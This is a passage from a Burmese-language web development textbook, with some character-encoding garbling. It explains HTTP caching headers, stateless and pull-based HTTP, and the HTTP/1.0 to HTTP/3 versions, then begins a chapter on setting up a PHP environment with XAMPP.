ကြေတာ့မှ ဆက်ကြေလ့လာeကပါမယ်။

Response Header မှာပါတဲ့ အထဲက အကြေရးကြကီးတာကြေလး တစ်ခုကကြေတာ့ Cache-Control Header goစ်ပါ
တယ်။  ဒီရလဒ်ကို  ခဏသိမ်းထားလုိ့  ရတယ်လုိ့  ကြေgပာထားတာပါ။  ဒါကြေeကာင့်  Browser  က  ရလဒ်ကို
သိမ်းထားပြပီး ကြေနာက်လုိရင် gပန်သုံးနိုင်လုိ့ ထပ်ခါထပ်ခါ သွားgပန်ယူစရာ မလုိအပ်ကြေတာ့ပါyူး။ အလုပ်လုပ်ပံု
အများကြကီးပုိgမန်သွားမှာပါ။ ဒါကြေပမယ့်  Server  ကကြေန လုံးဝ သွားမယူကြေတာ့ရင် အပြမဲတမ်း အကြေဟာင်းကြကီးပဲ
goစ်ကြေနမှာစိုးလုိ့  max-age  ဆိုတဲ့  တန်oုိးကြေလးတစ်ခု တွဲကြေပးထားတာကို ကြေတွ့ရမှာ goစ်ပါတယ်။ နမူနာအရ
2592000  စက္ကန့်လုိ့  ကြေပးထားတဲ့အတွက်  ရက်  (၃၀)  သိမ်းထားလုိ့  ရမှာgoစ်ပါတယ်။ ရက်  (၃၀)  gပည့်ရင်
ကြေတာ့ အသစ်ကို  Server  ကကြေန ကြေနာက်တစ်ခါ သွားgပန်ယူရမှာပါ။ ဒါက  Google Home Page  လုိ သိပ်
အကြေgပာင်းအလဲ မရှိနိုင်တဲ့ ကြေနရာမုိ့လုိ့ ဒီကြေလာက်ပမာဏ သတ်မှတ်ထားတာပါ။ မeကာခဏ အကြေgပာင်းအလဲ
ရှတိဲ့ကြေနရာကြေတွမှာကြေတာ့  (၁)  နာရီ၊  (၁၀)  မိနစ်  စသည်goင့်  လုိအပ်ချက်နဲအ့ညီ သတ်မှတ်ကြေပးထားတာမျ ို း
goစ်နိုင်ပါတယ်။
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သူ့အကြေပါ်မှာ  Expires Header  နဲ့  ဒီ  Response  ရဲ့  သက်တမ်းကုန်မယ့်ရက်ကို  ထည့်ကြေပးထားတာလည်း
ကြေတွ့ နိုင်ပါတယ်။ လက်ကြေတွ့မှာ Cache-Control Header နဲ့  Expires Header နှစ်ခုထဲက တစ်ခုပါရင် ရပါ
ပြပီ။  Cache-Control  ပါရင်  Expires  ကို  Browser  ကြေတွက  ထည့်သွင်း  မစဉ်းစားကြေတာ့ပါyူး။  Google
ကကြေတာ့  တစ်ချ ို ့  Proxy  ကြေတွ  Firewall  ကြေတွသုံးတဲ့လူကြေတွအတွက်  Cache-Control  အလုပ်မလုပ်ခဲ့ရင်
အစားထုိး အလုပ်လုပ်နိုင်oုိ့ Expires ကိုပါ တွဲထည့်ကြေပးထားတာ goစ်ပါလိမ့်မယ်။

ဒီကြေနရာမှာ Header   တစ်ခုချင်းစီရဲ့ အဓိပ္ပါယ်အကြေသးစိတ်ထက်   Request/Response   ကြေတွမှာ ဒီလုိ   Header  
မျ ို းကြေတွ ရှိတတ်တယ် ဆိုတာကြေလာက်ကို သတိgပုထားရင် လံုကြေလာက်ပါပြပီ။ ကျန်အကြေသးစိတ်ကို လုိအပ်လာ
ကြေတာ့မှ သူ့ကြေနရာနဲ့သူ goည့်စွက်ကြေလ့လာသွားလုိ့ ရနိုင်ပါတယ်။

Stateless Protocol
HTTP  ကို  Stateless Protocol  လုိ့ကြေခါ်ပါတယ်။ ဒီလုိဆက်သွယ်မှုတစ်ခု  ပြပီးဆံုးသွားရင်၊  အမှန်တစ်ကယ်
ပြပီးဆံုးသွားတာပါ။  ကြေနာက်ထပ်  ထပ်မံgပုလုပ်မယ့်  ဆက်သွယ်မှုကြေတွနဲ့  အခုပြပီးဆံုးသွားတဲ့  ဆက်သွယ်မှု
သက်ဆိုင်gခင်း၊  ဆက်စပ်gခင်း  မရှိကြေတာ့ပါyူး။  ဆက်သွယ်မှု  တစ်ကြကိမ်တိုင်းဟာ  သီးgခားအလုပ်လုပ်တဲ့
သကြေyာရှိလုိ့ Stateless Protocol လုိ့ကြေခါ်တာပါ။ ဒါအလွန်အကြေရးကြကီးမှာတယ်။ ကြေသချာမှတ်ထားပါ။

ဒီလုိ  Stateless  သကြေyာသyာဝကကြေပးတဲ့  အားသာချက်၊  အားနည်းချက်ကြေတွ  ရှိပါတယ်။  အားနည်းချက်
ကကြေတာ့ Client ဟာ Server ကိုဆက်သွယ်မှုgပုလုပ်တဲ့ အကြကိမ်တိုင်းမှာ ကြေပးပုိ့oုိ့ လုိအပ်တဲ့ အချက်အလက်
ကြေတွကို  ထပ်ခါထပ်ခါ  ကြေပးပုိရ့မှာgoစ်ပါတယ်။  နမူနာပံုမှာ  eကည့်လုိက်ရင်  User-Agent:  Chrome  ဆိုတဲ့
အချက်အလက်ကို  ထည့်သွင်းကြေပးပုိတ့ဲ့အတွက်  Server  က  ဆက်သွယ်မှုgပုလုပ်လာသူဟာ  Chrome
Browser  goစ်ကြေeကာင်း  သိသွားပါတယ်။  ဒီနည်းက  Client  က  Server  ကို  သူyယ်သူလည်း  အသိကြေပး
အကြေeကာင်းeကားတဲ့ သကြေyာမျ ို းပါ။ ဒါကြေပမယ့် Client က ကြေနာက်တစ်ကြကိမ် Server ကို ထပ်မံဆက်သွယ်လုိ
တဲ့အခါ "ငါ ခုနက User-Agent: Chrome လုိ့ ပုိထ့ားပြပီးသားပဲ၊ ဒီတစ်ခါထည့်မပုိ့ကြေတာ့yူး" လုိ့ ချန်ထားလုိ့
မရနိုင်ကြေတာ့ပါyူး။  ချန်ထားလုိက်ရင်  Server  က  အလုိလုိသိမှာ  မဟုတ်ပါyူး။  yာကြေeကာင့်လဲဆိုကြေတာ့
ပထမအကြကိမ်gပုလုပ်တဲ့ ဆက်သွယ်မှုဟာ ပြပီးဆံုးသွားခဲ့ပြပီးပါပြပီ။ ပျက်gပယ်သွားခဲ့ပါပြပီ။ အခုတစ်ကြကိမ် ထပ်မံ
gပုလုပ်တဲ့ ဆက်သွယ်မှုနဲ ့သက်ဆိုင်gခင်းမရှိတဲ့အတွက်ကြေeကာင့်ပါ။ 
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ဒါကြေeကာင့်  Client  က  ဆက်သွယ်မှု  gပုလုပ်တိုင်းမှာ  လုိအပ်တဲ့အချက်အလက်ကြေတွကို  အပြမဲတမ်း
ထပ်ခါထပ်ခါ ထည့်သွင်းကြေပးပုိရ့မှာပဲ goစ်ပါတယ်။  ဒါကြေeကာင့်  Browser  မှာ လိပ်စာတစ်ခု  ရုိက်ထည့်လုိက်
တိုင်း၊  Link  တစ်ခုနှိပ်လုိက်တိုင်း၊  Refresh  လုပ်လုိက်တိုင်း  ဆက်သွယ်မှု အသစ်အသစ်ကြေတွကို  ကြေပးပုိ့သွား
gခင်းgoစ်တယ်လုိ ့gမင်eကည့်နိုင်ပါတယ်။

နမူနာရှင်းလင်းချက် ဆိုတာကိုကြေတာ့ သတိgပုပါ။ လက်ကြေတွ့ Browser ကြေတွရဲ့  User-Agent တန်oုိးက အ့ဲဒီ
လုိ တိုတိုရှင်းရှင်းကြေလး မဟုတ်ပါyူး။ Operating System အမျ ို းအစားကြေတွ၊ Browser Version နံပါတ်ကြေတွ၊
Compatibility  ကြေခါ်  အဓိပ္ပါယ်  သိပ်မရှိလှyဲ  အရင်ကြေခတ်က  ပုိခ့ဲ့ရလုိ့  အခုလည်း  ထည့်ပုိ့ကြေနရကြေသးတဲ့
အချက်အလက်ကြေတွ စသည်goင့် အများကြကီးပါဝင်ပြပီး ရှုပ်ကြေထွးတဲ့ တန်oုိးတစ်ခု goစ်နိုင်ပါတယ်။ အကြေသးစိတ်
eကည့်စရာ မလုိအပ်ကြေသးပါyူး။ သကြေyာသyာဝအားgoင့် Browser ကြေတွက ဆက်သွယ်မှုgပုလုပ်တဲ့အခါ သူ
yယ်သူလဲဆိုတာကို အသိကြေပးတဲ့အကြေနနဲ့ User-Agent တန်oုိးကို ထည့်သွင်းကြေပးပုိ့ကြေလ့ ရှိတယ်လုိ့ မှတ်ထား
ရင် ရပါပြပီ။

ဒီလုိ  ထပ်ခါထပ်ခါ  gပန်ပုိ့ကြေနရပါတယ်ဆိုတဲ့  အားနည်းချက်ကပဲ  အားသာချက်  gပန်goစ်ကြေနပါကြေသးတယ်။
အကယ်၍များ  ဆက်သွယ်မှုကြေတွဟာ တစ်ခုနဲတ့စ်ခု  ဆက်စပ်ကြေနမယ်ဆိုရင်  Client  yက်က စဉ်းစားစရာ
ကြေတွ အကြေတာ်များသွားပါပြပီ။  "ငါ ပထမအကြကိမ်ပုိခ့ဲ့တာ yာကြေတွလည်း၊ ဒီတစ်ကြကိမ် yာကြေတွထပ်ပုိရ့မလဲ၊ ပုိ့
ထားတာကြေတွက Server  မှာ ရိှကြေသးရဲ့လား၊ မရှိကြေတာ့ရင် yယ်လုိလုပ်မလဲ" စသည်goင့် ကြေမးခွန်းထုတ်စရာ
ကြေတွ  အကြေတာ်များသွားပါပြပီ။  အခုကြေတာ့  Stateless  goစ်ကြေနတဲ့အတွက်  အရမ်းရှင်းသွားပါတယ်။  yာမှ
ကြေမးခွန်းထုတ်မကြေနyဲ လုိအပ်တာအကုန်ပုိ့ပြပီး ဆက်သွယ်လုိက်ယံုသာgoစ်လုိ့  Client  အတွက် ဆက်သွယ်မှု
ကြေတွ  gပုလုပ်ရတာ  ကြေတာ်ကြေတာ်ကြကီး  ရုိးရှင်းလွယ်ကူသွားတာပါ။  ဒီအားသာချက်ကြေeကာင့်ပဲ  ကြေနာက်ပုိင်းမှာ
HTTP   ကို အဓိကဆက်သွယ်ကြေရးနည်းပညာအgoစ်   Web   မှာသာမက တgခား   Mobile, Desktop   စတဲ့ ကြေဆာ့  
o်ဝဲအမျ ို းအစားကြေတွမှာ အသုံးgပုကြေနeကတာပါ။
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Pull Technology
HTTP ဟာ Pull Technology တစ်မျ ို း goစ်ပါတယ်။ Client   က   Server   ကို စတင်ဆက်သွယ်gခင်းအားgoင့်  
သာ ဆက်သွယ်မှုကို အစgပုပါတယ်။   Server   က ဆက်သွယ်မှုကို အစgပုတယ်ဆိုတာ လံုးဝမရှိyူး   လုိ့  မှတ်
နိုင်ပါတယ်။ လုိချင်တဲ့  Client က အချက်အလက်ကို  Pull  လုပ်ယူရလုိ့  Pull Technology လုိ့ ကြေခါ်eကတာ
ပါ။ ကြေပးချင်တဲ့သူက သူ့သကြေyာနဲ့သူ Push လုပ်ကြေပးနိုင်တဲ့ Push Technology မဟုတ်ပါyူး။ 
ဒီလုိ  Pull Technology goစ်gခင်းကြေeကာင်းလည်း အားသာချက်၊ အားနည်းချက်ကြေတွ ရှိကြေနပါတယ်။ အားသာ
ချက်ကကြေတာ့ Client  အတွက် အလုပ်လုပ်ရတာ ထပ်ဆင့်ပုိပြပီး ရုိးရှင်းလွယ်ကူသွားတာပါ။ လုိချင်တာရှိရင်
ဆက်သွယ်မှု gပုလုပ်လုိက်ယုံပါပဲ။ ကိုယ်က မဆက်သွယ်yဲနဲ့  Server က ကြေပးပုိ့လာတာများ ရှိမလားဆိုပြပီး
ထုိင်ကြေစာင့်ကြေနစရာ လံုးဝ မလုိအပ်ကြေတာ့ပါyူး။ ကိုယ့်yက်က မဆက်သွယ်yဲ  Server  yက်က တံု့gပန်မှာ
မဟုတ်တာ ကြေသချာကြေနလုိပ့ါ။

အားနည်းချက်ကကြေတာ့ Real-Time မgoစ်gခင်း goစ်တယ်လုိ့ ဆိုနိုင်ပါတယ်။ Server မှာ အချက်အလက်ကြေတွ
က Update goစ်ကြေနပြပီ။ ဒါကြေပမယ့် သူ့yက်ကကြေန ကြေပးလုိမ့ရလုိ့  Client ဆီမှာ အချက်အလက် Update က
ကြေရာက်ရှိသွားမှာ  မဟုတ်ပါyူး။  Client  က  လုိချင်လုိ့  ကြေတာင်းယူကြေတာ့မှသာ  ရှိထားတဲ့  အချက်အလက်
Update ကြေပးလုိရ့မှာပါ။ ဒါကြေeကာင့် Server မှာ Update goစ်တာနဲ့  Client မှာ အလုိအကြေလျှာက် Update မ
goစ်လုိ ့Real-Time မgoစ်တဲ့ အားနည်းချက် goစ်ကြေပါ်ကြေစတာပါ။

ဒီ Pull Technology သကြေyာသyာဝဟာလည်း HTTP ကြေအာင်gမင်ရgခင်း အကြေeကာင်းရင်း ကြေတွထဲမှာ တစ်ခု
အပါအဝင်goစ်ပါတယ်။ အထက်မှာ ကြေgပာခဲ့တဲ့  Stateless သကြေyာသyာဝနဲ့ ကြေပါင်းစပ်လုိက်တဲ့အခါ  Client
ကြေတွအကြေနနဲ့  HTTP  ကိုအသုံးgပုပြပီး  Server  ကိုဆက်သွယ်ရတာ အများကြကီး  ရုိးရှင်းလွယ်ကူသွားတာပါ။ ဒါ
ကြေeကာင့် အတိုချုပ်ကြေလးgပန်ကြေgပာချင်ပါတယ်။

• HTTP ဟာ Stateless  နည်းပညာgoစ်လုိ့ ဆက်သွယ်မှုတစ်ခုနဲတ့စ်ခု ဆက်စပ်သက်ဆိုင်gခင်းမရှိပါ
yူး။ ဆက်သွယ်မှုတစ်ခုgပုလုပ်တိုင်းမှာ ကြေပးပုိ့oုိလုိအပ်တဲ့အချက်အလက်ကြေတွကို  ထပ်မံကြေပးပုိရ့မှာ
goစ်ပါတယ်။

• HTTP ဟာ Pull Technology goစ်လုိ့ Client ကဆက်သွယ်မှသာလျှင် Server က တံု့gပန်မှာgoစ်ပါ
တယ်။ Client က မဆက်သွယ်yဲ  Server  ကစတင်ဆက်သွယ်မှာ မဟုတ်တဲ့ နည်းပညာပဲ goစ်ပါ
တယ်။
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HTTP/2 & HTTP/3
HTTP  မှာ  Version  (၄)  ခု  ရှိပါတယ်။  HTTP/1.0,  HTTP/1.1,  HTTP/2  နဲ့  HTTP/3  တိုပ့ါ။  HTTP/1.0
ကကြေတာ့ အခုyယ်သူမှ  မသံုးကြေတာ့ပါyူး။  ဟိုးအရင်  ကြေပါ်ခါစက နည်းပညာပါ။  လက်ရှိ  အတွင်ကျယ်ဆံုး
အသုံးgပုကြေနတာက HTTP/1.1 goစ်ပြပီးကြေတာ့၊ HTTP/2 ကို တစ်goည်းgoည်း ကြေgပာင်းကြေနeကပါတယ်။ အခုကြေတာ့
HTTP/3 လည်း ထွက်ပါကြေတာ့မယ်။

ဒီနည်းပညာကြေတွ  goစ်ကြေပါ်လာပံုနဲ့  ပက်သက်ပြပီး  စိတ်ဝင်စားoုိ့  ကြေကာင်းတဲ့  ကြေနာက်ခံအကြေeကာင်းအရာကြေလး
ကြေတွ ရှိကြေပမယ့် ဒါကြေတွကို  အကျယ်မချဲ့ကြေတာ့ပါyူး။ gပည့်စံုကြေအာင် ကြေgပာရမယ်ဆိုရင်  TCP  တို့  UDP  တိုလုိ့
Network  နည်းပညာကြေတွ  အကြေeကာင်းကိုပါ  ထည့်ကြေgပာမှ  ရပါလိမ့်မယ်။  ဒီကြေနရာမှာ  အလုပ်လုပ်ပံု
သကြေyာသyာဝ အကျဉ်းချုပ်ကြေလာက်ကို ထည့်သွင်း ကြေoာ်gပချင်ပါတယ်။

• HTTP/1.0 မှာ  Resource  တစ်ခုကိုလုိချင်ရင်  Client  က  Server  ကို  တစ်ကြကိမ်  ဆက်သွယ်ရပါ
တယ်။ Resource (  ၁၀  )   ခုရှိရင်   Network Connection (  ၁၀  )   ကြကိမ် gပုလုပ်ရပါတယ်  ။ အထက်မှာ
ကြေတွ့ ခဲ့ပြပီး goစ်ပါတယ်။ Google Home Page တစ်ခုကို လုိချင်လုိ့ Request လုပ် ယူလုိက်ကြေပမယ့်၊
တစ်ကယ်တမ်း ရယူoုိလုိ့တဲ့  Resource  ကြေတွက အများကြကီးပါ။  (၄၀)  ကြေကျာ်ထိ ရှတိာကို ကြေတွ့ရပါ
တယ်။  HTTP/1.0  ကိုသာအသုံးgပုမယ်ဆိုရင်  Browser  က ဒါကြေတွအကုန်ရoုိအ့တွက်  Network
Connection အကြကိမ် (၄၀) သီးgခားစီ gပုလုပ်သွားရမှာ goစ်ပါတယ်။

• HTTP/1.1 မှာကြေတာ့ Keep Alive လုိ့ကြေခါ်တဲ့ Network Connection ကို လုိသကြေလာက် oွင့်ထားလုိ့
ရတဲ့  သကြေyာသyာဝကြေလး  ပါသွားပါတယ်။  Network  Connection    တစ်ခုထဲနဲ့  လုိချင်တဲ့  
Resource (  ၄၀  )    ကြေကျာ်ကို တစ်ခုပြပီးတစ်ခု တန်းစီယူလုိ့ ရနိုင်သွားပါတယ်  ။  Connection  အကြကိမ်
(၄၀)  oွင့်စရာ မလုိကြေတာ့ပါyူး။  ဒါကြေပမယ့် oွင့်ထားတဲ့  Connection  ကြေပါ်မှာ  Resource  ကြေတွကို
တစ်ခုပြပီးမှတစ်ခု  တန်းစီပြပီးကြေတာ့  ယူကြေနရတဲ့  အားနည်းချက် ကျန်ကြေနပါကြေသးတယ်။  ဒါကြေeကာင့်
Browser ကြေတွက အလုပ်လုပ်ရတာ gမန်သွားကြေအာင် Network Connection (၄-၅) ခု အပြပိုင်oွင့်ပြပီး
Resource ကြေတွကို ခွဲယူeကကြေလ့ ရှိပါတယ်။
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• HTTP/2 မှာကြေတာ့ Multiplex လုိ့ကြေခါ်တဲ့ သကြေyာသyာဝ တစ်မျ ို း ထပ်ပါသွားပါတယ်။ Network
Connection (၁) ခုထဲနဲ့  Resource ကြေတွကို  (၄-၅) သုတ်ခွဲပြပီး ပြပိုင်တူယူလုိ့ ရသွားပါတယ်။ (၄-၅)
သုတ်ခွဲပြပီး  တစ်ပြပိုင်ထဲလုိချင်လုိ့  Network  Connection  (၄-၅)  ခု  ခွဲoွင့်စရာ  မလုိကြေတာ့ပါyူး။
gပဿနာတစ်ခု  ကျန်ကြေနပါတယ်။  Network Connection (  ၁  )    ခုကြေပါ်မှာ    (  ၄  -  ၅  )    သုတ်ခွဲယူထားတဲ့  
အတွက်  တစ်သုတ်    Fail    goစ်ရင်  အကုန်အစအဆံုး  gပန်စရgခင်း   goစ်ပါတယ်။  TCP  လုိ့ကြေခါ်တဲ့
Network Protocol  နည်းပညာရဲ့  သကြေyာသyာဝအရ တစ်ချ ို ့တစ်ဝက်  Fail  goစ်တာနဲ့  အကုန်
အစအဆံုး gပန်ပုိတ့ဲ့အတွက် goစ်ပါတယ်။

• HTTP/3 မှာကြေတာ့ TCP ကို မသံုးကြေတာ့ပါyူး။ UDP လုိ့ကြေခါ်တဲ့ Network Protocol ကို ကြေgပာင်းသုံး
ကြေတာ့မှာ goစ်ပါတယ်။ UDP က ပုိစ့ရာရှိတာ ပုိ့လုိက်မှာပါ။ Fail goစ်gခင်း မgoစ်gခင်းကို သူတာဝန်မ
ယူပါyူး။ ဒါgoင့်ရင် တစ်ချ ို ့တစ်ဝက် Fail goစ်တာမျ ို း ရှိခဲ့ရင် yယ်လုိလုပ်မလဲ။ ဒီလုိရှိလာတဲ့အခါ
Fail   goစ်တဲ့အပုိင်းကိုပဲ ကြေရွးပြပီး gပန်ပုိ့ကြေပးနိုင်တဲ့   QUIC   လုိ့ကြေခါ်တဲ့ နည်းပညာတစ်မျ ို း   ကို Google က
တီထွင်ထားပါတယ်။ HTTP/3 မှာ အ့ဲဒီ QUIC နည်းပညာကို အသံုးgပုမှာ goစ်ပါတယ်။

ဒီကြေလာက်ဆိုရင်  HTTP/1.1, HTTP/2, HTTP/3  စသည်goင့် သုံးထားတဲ့  Version  ကွဲgပားမှုကို  gမင်တဲ့အခါ
yာကွာသွားတာလဲ ဆိုတာကို အeကမ်းoျဉ်း gမင်သွားeကလိမ့်မယ်လုိ ့ယူဆပါတယ်။

Conclusion
PHP  အကြေeကာင်းမကြေgပာခင်  ဒါကြေတွကို  အရင်ကြေgပာgပကြေနတယ်ဆိုတာ  လုိအပ်လုိ့ပါ။  PHP  ဟာ  ကြေတာ်ကြေတာ်
ကြေလး  အကြေgခခံကျတဲ့  နည်းပညာတစ်ခုပါ။  သူကိုယ်တိုင်  အလုပ်အားလံုးကို  လုပ်တာမဟုတ်ပါyူး။  Web
နည်းပညာကို  သူက အသံုးချပြပီး  အလုပ်လုပ်တာပါ။ ဒါကြေeကာင့်  PHP  ကိုကြေလ့လာရတာ ထိကြေရာက်မှုရှိကြေစoုိ့
Web  နည်းပညာရဲ့  သကြေyာသyာဝကြေတွကို  အရင်ကြေgပာgပကြေနတာလုိ့  ဆိုနိုင်ပါတယ်။  ကြေဆာ့o်ဝဲကြေရးသားမှု
နည်းပညာတစ်ခုကို  ကြေလ့လာတဲ့ကြေနရာမှာ  ကိုယ်ကြေရးလုိက်တဲ့ကုဒ်  yယ်လုိအလုပ်လုပ်သွားသလဲဆိုတာကို
ကြေခါင်းထဲမှာ ပံုကြေoာ်eကည့်နိုင်စွမ်းရှိoုိဟ့ာ အကြေရးအကြကီးဆံုး လုိအပ်ချက်goစ်ပါတယ်။ အခုလုိ  Web  ရဲ့အလုပ်
လုပ်ပုံကို သိထားမှာသာ PHP ကိုအသုံးgပုကြေရးသားထားတဲ့ ဝy်ဆိုက်တစ်ခုရဲ့ အလုပ်လုပ်ပံုကို ကြေခါင်းထဲမှာ
ပုံကြေoာ်eကည့်နိုင်စွမ်း ရှိမှာပဲgoစ်ပါတယ်။



PWD 2023 – အခန်း (၂၆) – PHP Development Environment 395

အခန်း (၂၆) – PHP Development Environment

PHP ကုဒ်ကြေတွ စတင်ကြေရးသားနိုင်oုိအ့တွက် လုိအပ်တဲ့ Development Environment တစ်ခု တည်ကြေဆာက်
ထားoုိ့  လုိပါတယ်။  Development  Environment  ဆိုတာ  ကိုယ့်စက်ထဲမှာ  ကုဒ်ကြေတွ  ကြေရးပြပီး  Run  လုိ့
ရကြေအာင်  လုိအပ်တဲ့  နည်းပညာကြေတွ  ထည့်သွင်းgပင်ဆင်gခင်း  goစ်ပါတယ်။  PHP  ဟာ  Server-side  နည်း
ပညာတစ်ခုgoစ်တဲ့အတွက်  Web Server  တစ်ခုနဲ့  ပူးတွဲအသံုးချရတဲ့သကြေyာ ရှိပါတယ်။ ထင်ရှားတဲ့  Web
Server  ကြေဆာ့o်ဝဲကြေတွက  Apache, Nginx  နဲ့  Microsoft IIS  တိုပဲ့  goစ်ပါတယ်။  PHP  ကို  ဒီ  Web Server
နည်းပညာ အားလံုးနဲ့ ပူးတွဲအသံုးgပုလုိ့ ရနိုင်ပါတယ်။ အ့ဲဒီထဲက Apache နဲ့  Nginx တိုဟ့ာ Open Source
နည်းပညာကြေတွ goစ်eကပြပီး PHP နဲ ့ပုိပြပီးကြေတာ့ တွဲoက် အသုံးများပါတယ်။

အခုကြေနာက်ပုိင်း PHP Version ကြေတွမှာ Development Server လုိ့ကြေခါ်တဲ့ Web Server ကြေလးတစ်ခု တစ်ခါ
ထဲ ပါဝင်ပါတယ်။ ဒါကြေeကာင့် သီးgခားကြေဆာ့o်ဝဲကြေတွ မလုိအပ်yဲ၊ သူ့မှာပါတဲ့  Development Server  နဲတ့င်
PHP ကုဒ်ကြေတွ ကြေရးပြပီးစမ်းလုိ့ ရနိုင်ပါတယ်။ ဒါကြေပမယ့် gပည့်စံုတဲ့ Development Environment တစ်ခုgoစ်oုိ့
ဆိုရင် MySQL Database အပါအဝင် တgခား လုိအပ်တာကြေတွ ရှိပါကြေသးတယ်။ လုိအပ်မယ့် နည်းပညာကြေတွ
ကို တစ်ခုပြပီးတစ်ခု ကိုယ့်အစီအစဉ်နဲက့ိုယ် Install လုပ်လုိ့ ရနိုင်သလုိ၊ လုိအပ်မယ့် နည်းပညာကြေတွအားလုံး
ကို ကြေပါင်းစပ်စုစည်းကြေပးထားတဲ့ All-in-one Package ကြေတွလည်း ရှိကြေနပါတယ်။ အ့ဲဒီထဲမှာ အထင်ရှားဆံုးနဲ့
အကြေကာင်းဆံုးကကြေတာ့ XAMPP လုိ့ကြေခါ်တဲ့ နည်းပညာပါ။

- https://www.apachefriends.org

https://www.apachefriends.org/
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XAMPP မှာ gပည့်စံုတဲ့ PHP Development Environment တစ်ခု တည်ကြေဆာက်oုိအ့တွက် လုိအပ်တာကြေတွ
အားလုံး စုစည်းပါဝင်ပါတယ်။  Windows, Linux  နဲ့  Mac  အားလုံးမှာ အသုံးgပုနိုင်ပါတယ်။ ပါဝင်တာကြေတွ
အများကြကီးထဲက အကြေရးအကြကီးဆံုး တစ်ချ ို ့ကို ကြေရွးထုတ်gပရရင် ဒီလုိပါ –

1. Apache Web Server
2. Apache Modules
3. PHP
4. PHP Extensions
5. MySQL Database
6. MySQL Admin

အခုကြေနာက်ပုိင်းမှာ  PHP ကို  Nginx Web Server  နဲလ့ည်း အသံုးများလာကြေပမယ့် တွဲoက် အသံုးအများဆံုး
ကကြေတာ့ Apache goစ်ပါတယ်။ XAMPP မှာ Apache Web Server တစ်ခါထဲ ပါဝင်ယံုသာမက လုိအပ်မယ့်
Web Server Modules ကြေတွလည်း ပါဝင်ပါကြေသးတယ်။ ဥပမာ Resource ကြေတွကို Compress  လုပ် ချံု့ပြပီးမှ
Response gပန်ကြေပးနိုင်တဲ့ Compression Module လုိ Module မျ ို းကြေတွပါ။ ဒီ Module ကြေတွ အကြေeကာင်းကို
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အကြေသးစိတ် ထည့်သွင်း မကြေoာ်gပနိုင်ကြေပမယ့်၊ ကြေနာက်ပုိင်းမှာ တစ်ချ ို ့ပကြေရာင်္ဂျက်ကြေတွအတွက် လုိအပ်တဲ့ Web
Server Module   မစံုလုိ့ အလုပ်မလုပ်yူး   ဆိုတဲ့ gပဿနာမျ ို းကြေတွ XAMPP နဲဆ့ိုရင် မရှိသကြေလာက် နည်းမှာ
goစ်ပါတယ်။ အားလံုးစံုကြေအာင် တစ်ခါထဲ ထည့်ထားကြေပးလုိ့ပါ။

PHP  ဟာ  Interpreted  Language  တစ်မျ ို းgoစ်ပါတယ်။  ကြေရးလုိက်တဲ့  PHP  ကုဒ်ကြေတွကို  ကွန်ပျူတာ
နားလည်ကြေအာင်  တိုက်ရုိက်yာသာgပန်ကြေပးနိုင်တဲ့  Interpreter  လုိပါတယ်။  XAMPP  နဲ့အတူ  PHP
Interpreter တစ်ခါထဲ ပါဝင်ပါတယ်။ ပြပီးခဲ့တဲ့အခန်းမှာ Server က PHP ကုဒ်ကြေတွကို အရင်အလုပ်လုပ်ပြပီး
ရလာတဲ့ရလဒ်ကို  Response  အကြေနနဲ့  gပန်ကြေပးတယ်လုိ့ ကြေoာ်gပခဲ့ပါတယ်။  Apache Web Server  အတွက်
mod_php လုိ့ကြေခါ်တဲ့ PHP ကုဒ်ကြေတွကို Run ပြပီးမှ ရလဒ်ကို Response gပန်ကြေပးနိုင်ကြေစတဲ့ Module တစ်ခုရှိ
ပါတယ်။ ဒါကြေeကာင့် Install လုပ်ထားတဲ့ Apache Web Server နဲ့ PHP Interpreter ကို mod_php နဲခ့ျတိ်
ကြေပးရတယ်လုိ့  ဆိုနိုင်ပါတယ်။  ဒီအလုပ်ကို  XAMPP  က  တစ်ခါထဲ  လုပ်ထားကြေပးပြပီးသား  goစ်လုိ့  ကိုယ့်
yာသာ   Configuration  ကြေတွလုပ်စရာ  မလုိအပ်ကြေတာ့ပါyူး။  Request    gပုလုပ်လာတဲ့    Resource    ရဲ့  
Extension   က   .php     goစ်ခဲ့မယ်ဆိုရင်   Apache   က   PHP   ကိုအသုံးgပုပြပီး ကုဒ်ကြေတွကို   Run   ပြပီးမှသာ ရလဒ်  
ကို   Response   အကြေနနဲ့ gပန်ကြေပးသွားမှာပါ  ။

ပြပီးကြေတာ့  PHP  ကို  Install  လုပ်တဲ့အခါ  သူ့ချည်းပဲ  မgပည့်စံုပါyူး။  Extension  ကြေတွ  လုိအပ်ပါတယ်။
Database  နဲ့  ဆက်သွယ် အလုပ်လုပ်နိုင်တဲ့  Extension  ကြေတွ၊  အင်္ဂ[လိပ်စာမဟုတ်တဲ့  String  ကြေတွကို  စီမံ
အလုပ်လုပ်ကြေပးနိုင်တဲ့  Extension ကြေတွ၊ စသည်goင့် လုိအပ်ပါတယ်။ ကြေနာက်ပုိင်းမှာ တစ်ချ ို ့ပကြေရာင်္ဂျက်ကြေတွ
အတွက် လုိအပ်တဲ့    PHP Extension   မစံုလုိ့ အလုပ်မလုပ်yူး   ဆိုတဲ့ gပဿနာမျ ို းကြေတွ XAMPP နဲဆ့ိုရင် မရှိ
သကြေလာက် နည်းမှာgoစ်ပါတယ်။ အားလံုးစံုကြေအာင် တစ်ခါထဲ ထည့်ထားကြေပးလုိပ့ါ။

ဆက်လက်ပြပီးကြေတာ့  MySQL  လုိ  Database Server  နည်းပညာနဲ့  အ့ဲဒီ  Database  ကို  စီမံနိုင်တဲ့  Admin
ကြေဆာ့o်ဝဲကြေတွလည်း  XAMPP  မှာ အားလံုးပါဝင်ပြပီး goစ်ပါတယ်။ ဒီလုိမျ ို း တစ်ခုထဲနဲ့  အကုန်စံုကြေအာင် ပါတဲ့
အတွက်ကြေeကာင့်ပဲ  PHP  Development  Environment  တည်ကြေဆာက်oုိအ့တွက်  အသင့်ကြေတာ်ဆံုး  နည်း
ပညာအgoစ် XAMPP ကို ကြေရွးချယ်အသုံးgပုသင့်gခင်း goစ်ပါတယ်။
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အ့ဲဒီလုိ အကုန်စံုကြေအာင် ပါကြေနတဲ့အတွက်ကြေeကာင့်ပဲ အများအသုံးgပုoုိ့ အင်တာနက်ကြေပါ်မှာ လွှင့်တင်ကြေပးမယ့်
Production Environment    နဲ့ကြေတာ့ မသင့်ကြေတာ်yူး   လုိ့  တစ်ခါထဲ တဲွoက်မှတ်သားသင့်ပါတယ်။ လုိတာ
ကြေရာ၊  မလုိတာကြေရာ  အကုန်ပါကြေနလုိ၊့  လုိအပ်တာထက်  ပုိကြေနှးတာမျ ို းကြေတွ၊  မသုံးgoစ်yဲ  ပါဝင်ကြေနတဲ့  နည်း
